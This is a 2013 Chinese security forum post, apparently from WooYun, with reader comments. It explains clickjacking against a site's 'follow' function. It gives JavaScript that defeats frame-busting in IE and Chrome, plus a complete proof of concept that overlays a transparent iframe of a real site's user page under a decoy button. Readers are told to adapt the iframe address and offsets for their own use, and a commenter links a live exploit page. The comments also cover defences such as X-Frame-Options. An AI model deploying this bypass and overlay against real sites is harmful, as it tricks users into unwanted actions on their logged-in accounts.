猥琐流之”关注我吧”

主要说一下问世多年却一直没被重视的”点击劫持”.

应用场景:

1.社区的关注功能,在WEB2.0时代”关注我”已经成为一个社区必备功能,被关注的愈多在社区的影响力往往也愈大.

点击劫持科普:

简单来说就是在一个网页内再嵌入一个要攻击的网站,把这个嵌入的网站设置为透明,然后再上面覆盖一层东西,让你点到他想要你点到的位置,而实际上你点击的却是被嵌入的网站,这样就完成了一次点击劫持攻击.

防嵌入?怎么破?

因为”点击劫持”已经问世很多年,所以主流的浏览器基本上都提供的防御方案.

1.X-Frame-Options http响应头

三个选项:

(1)DENY : 不允许被任何网站嵌入.

(2)SAMEORIGIN : 允许被同源的网站嵌入.

(3)ALLOW-FROM uri : uri为一个指定的地址,仅允许这个uri嵌入.

对于用这个办法防御的网站来说没有什么好办法,但ie低版本并不支持.

2.FrameBusting

简单来说就是用JS来检测是否被嵌入.

经典的framebuting代码:

if (top.location !== self.location) top.location=self.location;

对于这种framebuting还是可以hacking下的:

1.IE下的突破方法:

if(self.ActiveXObject)var location={};

2.Chrome下的突破方法,不过偶尔会失效,因为是利用时间竞争来突破的:

if(self.chrome)setInterval('location="javascript:void(0)"');//Chrome

乌云正好是用的这种经典framebusting,所以这里用乌云做个范例.

乌云”关注我”功能的POC:

<script>

var xx=200;

var yy=200;

window.onload=function (e){

var iframe = document.getElementById('xxx');

var e = e||window.event;

var x=e.clientX+document.body.scrollLeft+document.documentElement.scrollLeft;

var y=e.clientY+document.body.scrollTop+document.documentElement.scrollTop;

iframe.style.left=a.offsetLeft-xx;

iframe.style.top=a.offsetTop-yy;

}

</script>

<script>

if(self.ActiveXObject)var location={};//IE

if(self.chrome)setInterval(‘location=”javascript:void(0)”‘);//Chrome

</script>

<iframe style=”position:absolute;opacity: 0.5;filter:alpha(opacity=50);z-index:1;” id=xxx src=”http://www.wooyun.org/whitehats/Sogili” WIDTH=60% height=500></iframe>

<br><br></br><br></br><br></br><center><button id=a>点击</button></center>

自己用的话调下iframe的地址,宽高和xx,yy这个两个变量的值就好.

1#shine | 2013-01-18 11:59

哥已关注!

 

2#xsser | 2013-01-18 12:29

微博出过哦

 

3#Sogili (.) 长短短 (.) | 2013-01-18 12:38

@xsser 乌云首页用的那个新浪微博关注接口接口好像可以做点击劫持

 

4#Clar | 2013-01-18 13:05

已关注

 

5#小胖胖要减肥 | 2013-01-18 13:08

@Sogili 怎么搞,代码都没机会插入的啊,而且现在大家对于<>基本都会过滤

 

6#xsser | 2013-01-18 14:01

@小胖胖要减肥 没说要插,仔细读文章

 

7#小胖胖要减肥 | 2013-01-18 14:16

@xsser 对那个怎么嵌入不是很懂,以前知道这种就是设置透明的一些form,导致用户点击的时候出发这些操作,就是不知道是怎么嵌入的,自己用的话调下iframe的地址这个调用的怎么弄,不插入的话

 

8#小胖胖要减肥 | 2013-01-18 15:45

@Sogili  给我普及下嘛

 

9#VIP (Fatal error: Call to undefined function getwb() in /data1/www/htdocs/106/wzone/1/index.php on line 10|@齐迹@小胖子@z7y@nauscript|昨晚做梦梦见了一个ecshop注射0day,醒来后忘记在哪了。|预留广告位) | 2013-01-18 16:10

实际应用时应该把opacity调为0,exp:http://email.smtp.yupage.com/funny.htm

 

10#小胖胖要减肥 | 2013-01-18 16:22

@Sogili @xsser 大致懂了,没有搞在flash游戏里有用哈,那样交互多很多

 

11#猪猪侠 | 2013-01-18 22:04

哎,天朝和美帝 相差了n个时代啊!! x系列的头都不知道啥时候可以部署上!

 

12#Sogili (.) 长短短 (.) | 2013-01-18 22:22

@猪猪侠 让攻击变的简单是个推动的办法 :D

 

13#猪猪侠 | 2013-01-18 23:43

我觉得很难推,比较传统的漏洞还太多,很多跨子域、httponly啥的 都没有迹象部署解决

 

14#Sogili (.) 长短短 (.) | 2013-01-18 23:48

@猪猪侠 其实网站安全检测服务完全可以把x系列头和httponly之类的作为检测项来提醒站长.

 

15#gniq | 2013-02-19 10:35

@小胖胖要减肥 我还不是很懂,既然是嵌入,那肯定要能修改当前网页并能被他人点击才行啊

 

16#CHForce (带马师) | 2013-02-19 10:52

关注一下,同样不解的是插入

 

17#小胖胖要减肥 | 2013-02-19 11:01

@gniq 最简单的 我搞个网页给你看,上面有一条新闻,你点击,弹出新闻页面,但这个时候其实后面隐藏了另外一个按钮,比如关注wooyun,透明了而已,那么你在点击新闻的同时也就执行了另外一个操作,如果你的浏览器恰好有cookies就会直接提交到新浪关注wooyun了,大致这么个意思,如果搞flash游戏里就会有更多前后交互,再利用cookies相关跨域漏洞就会有不错的效果

 

18#gniq | 2013-02-19 11:40

@小胖胖要减肥 等于说这个人是要具备修改这个网页的能力,对吧

 

19#CHForce (带马师) | 2013-02-19 15:26

@小胖胖要减肥 意思是除非你具有网页编辑权力,至少能通过后台、通过服务器、通过xss等手段 才能实现

 

20#小胖胖要减肥 | 2013-02-19 15:35

@CHForce 不是啊 你自己搞个网站不就好了 然后把iframe弄成透明的或弄在flash游戏里